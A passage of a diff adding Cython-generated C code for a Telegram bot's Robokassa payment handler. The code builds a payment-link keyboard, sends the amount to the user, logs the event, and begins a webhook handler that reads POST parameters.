__Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_15 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_4) > __pyx_t_15) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_4) : __pyx_t_15; + __pyx_t_7 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_4); + __Pyx_GIVEREF(__pyx_t_4); + PyTuple_SET_ITEM(__pyx_t_3, 1, __pyx_t_4); + __pyx_t_4 = 0; + __Pyx_INCREF(__pyx_kp_u__16); + __pyx_t_7 += 2; + __Pyx_GIVEREF(__pyx_kp_u__16); + PyTuple_SET_ITEM(__pyx_t_3, 2, __pyx_kp_u__16); + __pyx_t_4 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_payment_url, __pyx_empty_unicode); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 145, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_15 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_4) > __pyx_t_15) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_4) : __pyx_t_15; + __pyx_t_7 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_4); + __Pyx_GIVEREF(__pyx_t_4); + PyTuple_SET_ITEM(__pyx_t_3, 3, __pyx_t_4); + __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyUnicode_Join(__pyx_t_3, 4, __pyx_t_7, __pyx_t_15); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 145, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_16))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_16); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_16); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_16, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_4}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_16, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 145, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":147 + * logger.info(f"Payment URL for user {callback_query.message.chat.id}: {payment_url}") + * + * confirm_keyboard = InlineKeyboardMarkup( # <<<<<<<<<<<<<< + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardMarkup); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/robokassa_pay.py":148 + * + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ # <<<<<<<<<<<<<< + * [InlineKeyboardButton(text="", url=payment_url)], + * [InlineKeyboardButton(text=" ", callback_data="pay_robokassa")], + */ + __pyx_t_16 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 148, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_16); + + /* "handlers/payments/robokassa_pay.py":149 + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], # <<<<<<<<<<<<<< + * [InlineKeyboardButton(text=" ", callback_data="pay_robokassa")], + * ] + */ + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 149, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 149, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_n_u__17) < 0) __PYX_ERR(0, 149, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_url, __pyx_cur_scope->__pyx_v_payment_url) < 0) __PYX_ERR(0, 149, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 149, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 149, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_2); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_t_2)) __PYX_ERR(0, 149, __pyx_L1_error); + __pyx_t_2 = 0; + + /* "handlers/payments/robokassa_pay.py":150 + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], + * [InlineKeyboardButton(text=" ", callback_data="pay_robokassa")], # <<<<<<<<<<<<<< + * ] + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 150, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_4 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 150, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_text, __pyx_kp_u__4) < 0) __PYX_ERR(0, 150, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_callback_data, __pyx_n_u_pay_robokassa) < 0) __PYX_ERR(0, 150, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_4); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 150, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = PyList_New(1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 150, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_GIVEREF(__pyx_t_14); + if (__Pyx_PyList_SET_ITEM(__pyx_t_4, 0, __pyx_t_14)) __PYX_ERR(0, 150, __pyx_L1_error); + __pyx_t_14 = 0; + + /* "handlers/payments/robokassa_pay.py":148 + * + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ # <<<<<<<<<<<<<< + * [InlineKeyboardButton(text="", url=payment_url)], + * [InlineKeyboardButton(text=" ", callback_data="pay_robokassa")], + */ + __pyx_t_14 = PyList_New(2); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 148, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_GIVEREF(__pyx_t_3); + if (__Pyx_PyList_SET_ITEM(__pyx_t_14, 0, __pyx_t_3)) __PYX_ERR(0, 148, __pyx_L1_error); + __Pyx_GIVEREF(__pyx_t_4); + if (__Pyx_PyList_SET_ITEM(__pyx_t_14, 1, __pyx_t_4)) __PYX_ERR(0, 148, __pyx_L1_error); + __pyx_t_3 = 0; + __pyx_t_4 = 0; + if (PyDict_SetItem(__pyx_t_16, __pyx_n_s_inline_keyboard, __pyx_t_14) < 0) __PYX_ERR(0, 148, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + + /* "handlers/payments/robokassa_pay.py":147 + * logger.info(f"Payment URL for user {callback_query.message.chat.id}: {payment_url}") + * + * confirm_keyboard = InlineKeyboardMarkup( # <<<<<<<<<<<<<< + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], + */ + __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_16); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; + __Pyx_GIVEREF(__pyx_t_14); + __pyx_cur_scope->__pyx_v_confirm_keyboard = __pyx_t_14; + __pyx_t_14 = 0; + + /* "handlers/payments/robokassa_pay.py":154 + * ) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=f" {amount} . :", + * reply_markup=confirm_keyboard, + */ + __pyx_t_14 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 154, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_16 = __Pyx_PyObject_GetAttrStr(__pyx_t_14, __pyx_n_s_answer); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 154, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_16); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + + /* "handlers/payments/robokassa_pay.py":155 + * + * await callback_query.message.answer( + * text=f" {amount} . :", # <<<<<<<<<<<<<< + * reply_markup=confirm_keyboard, + * ) + */ + __pyx_t_14 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_1 = PyTuple_New(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_7 = 0; + __pyx_t_15 = 127; + __Pyx_INCREF(__pyx_kp_u__18); + __pyx_t_15 = (65535 > __pyx_t_15) ? 65535 : __pyx_t_15; + __pyx_t_7 += 25; + __Pyx_GIVEREF(__pyx_kp_u__18); + PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_kp_u__18); + __pyx_t_4 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_15 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_4) > __pyx_t_15) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_4) : __pyx_t_15; + __pyx_t_7 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_4); + __Pyx_GIVEREF(__pyx_t_4); + PyTuple_SET_ITEM(__pyx_t_1, 1, __pyx_t_4); + __pyx_t_4 = 0; + __Pyx_INCREF(__pyx_kp_u__19); + __pyx_t_15 = (65535 > __pyx_t_15) ? 65535 : __pyx_t_15; + __pyx_t_7 += 45; + __Pyx_GIVEREF(__pyx_kp_u__19); + PyTuple_SET_ITEM(__pyx_t_1, 2, __pyx_kp_u__19); + __pyx_t_4 = __Pyx_PyUnicode_Join(__pyx_t_1, 3, __pyx_t_7, __pyx_t_15); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (PyDict_SetItem(__pyx_t_14, __pyx_n_s_text, __pyx_t_4) < 0) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + + /* "handlers/payments/robokassa_pay.py":156 + * await callback_query.message.answer( + * text=f" {amount} . :", + * reply_markup=confirm_keyboard, # <<<<<<<<<<<<<< + * ) + * logger.info(f"Payment link sent to user {callback_query.message.chat.id}.") + */ + if (PyDict_SetItem(__pyx_t_14, __pyx_n_s_reply_markup, __pyx_cur_scope->__pyx_v_confirm_keyboard) < 0) __PYX_ERR(0, 155, __pyx_L1_error) + + /* "handlers/payments/robokassa_pay.py":154 + * ) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=f" {amount} . :", + * reply_markup=confirm_keyboard, + */ + __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_16, __pyx_empty_tuple, __pyx_t_14); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 154, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_4); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L28_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 154, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 154, __pyx_L1_error) + } + } + + /* "handlers/payments/robokassa_pay.py":158 + * reply_markup=confirm_keyboard, + * ) + * logger.info(f"Payment link sent to user {callback_query.message.chat.id}.") # <<<<<<<<<<<<<< + * + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_14, __pyx_n_s_logger); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 158, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_16 = __Pyx_PyObject_GetAttrStr(__pyx_t_14, __pyx_n_s_info); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 158, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_16); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __pyx_t_14 = PyTuple_New(3); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 158, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_7 = 0; + __pyx_t_15 = 127; + __Pyx_INCREF(__pyx_kp_u_Payment_link_sent_to_user); + __pyx_t_7 += 26; + __Pyx_GIVEREF(__pyx_kp_u_Payment_link_sent_to_user); + PyTuple_SET_ITEM(__pyx_t_14, 0, __pyx_kp_u_Payment_link_sent_to_user); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 158, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_chat); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 158, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_id); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 158, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_t_1, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 158, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_15 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_15) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_15; + __pyx_t_7 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + PyTuple_SET_ITEM(__pyx_t_14, 1, __pyx_t_3); + __pyx_t_3 = 0; + __Pyx_INCREF(__pyx_kp_u__6); + __pyx_t_7 += 1; + __Pyx_GIVEREF(__pyx_kp_u__6); + PyTuple_SET_ITEM(__pyx_t_14, 2, __pyx_kp_u__6); + __pyx_t_3 = __Pyx_PyUnicode_Join(__pyx_t_14, 3, __pyx_t_7, __pyx_t_15); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 158, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __pyx_t_14 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_16))) { + __pyx_t_14 = PyMethod_GET_SELF(__pyx_t_16); + if (likely(__pyx_t_14)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_16); + __Pyx_INCREF(__pyx_t_14); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_16, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_14, __pyx_t_3}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_16, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 158, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; + } + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/robokassa_pay.py":116 + * + * + * @router.callback_query(F.data.startswith("robokassa_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_4); + __Pyx_XDECREF(__pyx_t_13); + __Pyx_XDECREF(__pyx_t_14); + __Pyx_XDECREF(__pyx_t_16); + __Pyx_AddTraceback("process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_13robokassa_pay_10generator2(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/robokassa_pay.py":161 + * + * + * async def robokassa_webhook(request): # <<<<<<<<<<<<<< + * """ webhook- Robokassa shp_id.""" + * try: + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_13robokassa_pay_9robokassa_webhook(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +PyDoc_STRVAR(__pyx_doc_8handlers_8payments_13robokassa_pay_8robokassa_webhook, "\320\236\320\261\321\200\320\260\320\261\320\276\321\202\320\272\320\260 webhook-\321\203\320\262\320\265\320\264\320\276\320\274\320\273\320\265\320\275\320\270\320\271 \320\276\321\202 Robokassa \321\201 \321\203\321\207\320\265\321\202\320\276\320\274 shp_id."); +static PyMethodDef __pyx_mdef_8handlers_8payments_13robokassa_pay_9robokassa_webhook = {"robokassa_webhook", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_13robokassa_pay_9robokassa_webhook, __Pyx_METH_FASTCALL|METH_KEYWORDS, __pyx_doc_8handlers_8payments_13robokassa_pay_8robokassa_webhook}; +static PyObject *__pyx_pw_8handlers_8payments_13robokassa_pay_9robokassa_webhook(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_request = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[1] = {0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("robokassa_webhook (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_request,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_request)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 161, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "robokassa_webhook") < 0)) __PYX_ERR(0, 161, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 1)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + } + __pyx_v_request = values[0]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("robokassa_webhook", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 161, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.robokassa_pay.robokassa_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_13robokassa_pay_8robokassa_webhook(__pyx_self, __pyx_v_request); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_13robokassa_pay_8robokassa_webhook(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_request) { + struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("robokassa_webhook", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook *)__pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook(__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 161, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_request = __pyx_v_request; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_request); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_request); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13robokassa_pay_10generator2, __pyx_codeobj__20, (PyObject *) __pyx_cur_scope, __pyx_n_s_robokassa_webhook, __pyx_n_s_robokassa_webhook, __pyx_n_s_handlers_payments_robokassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 161, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.robokassa_pay.robokassa_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_13robokassa_pay_10generator2(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + PyObject *__pyx_t_4 = NULL; + PyObject *__pyx_t_5 = NULL; + PyObject *__pyx_t_6 = NULL; + unsigned int __pyx_t_7; + PyObject *__pyx_t_8 = NULL; + Py_ssize_t __pyx_t_9; + Py_UCS4 __pyx_t_10; + int __pyx_t_11; + int __pyx_t_12; + int __pyx_t_13; + PyObject *__pyx_t_14 = NULL; + int __pyx_t_15; + PyObject *__pyx_t_16 = NULL; + PyObject *__pyx_t_17 = NULL; + int __pyx_t_18; + char const *__pyx_t_19; + PyObject *__pyx_t_20 = NULL; + PyObject *__pyx_t_21 = NULL; + PyObject *__pyx_t_22 = NULL; + PyObject *__pyx_t_23 = NULL; + PyObject *__pyx_t_24 = NULL; + PyObject *__pyx_t_25 = NULL; + PyObject *__pyx_t_26 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("robokassa_webhook", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L10_resume_from_await; + case 2: goto __pyx_L16_resume_from_await; + case 3: goto __pyx_L17_resume_from_await; + case 4: goto __pyx_L18_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 161, __pyx_L1_error) + + /* "handlers/payments/robokassa_pay.py":163 + * async def robokassa_webhook(request): + * """ webhook- Robokassa shp_id.""" + * try: # <<<<<<<<<<<<<< + * params = await request.post() + * + */ + { + __Pyx_ExceptionSave(&__pyx_t_1, &__pyx_t_2, &__pyx_t_3); + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_XGOTREF(__pyx_t_2); + __Pyx_XGOTREF(__pyx_t_3); + /*try:*/ { + + /* "handlers/payments/robokassa_pay.py":164 + * """ webhook- Robokassa shp_id.""" + * try: + * params = await request.post() # <<<<<<<<<<<<<< + * + * logger.info(f"Received webhook params: {params}") + */ + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_request, __pyx_n_s_post); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 164, 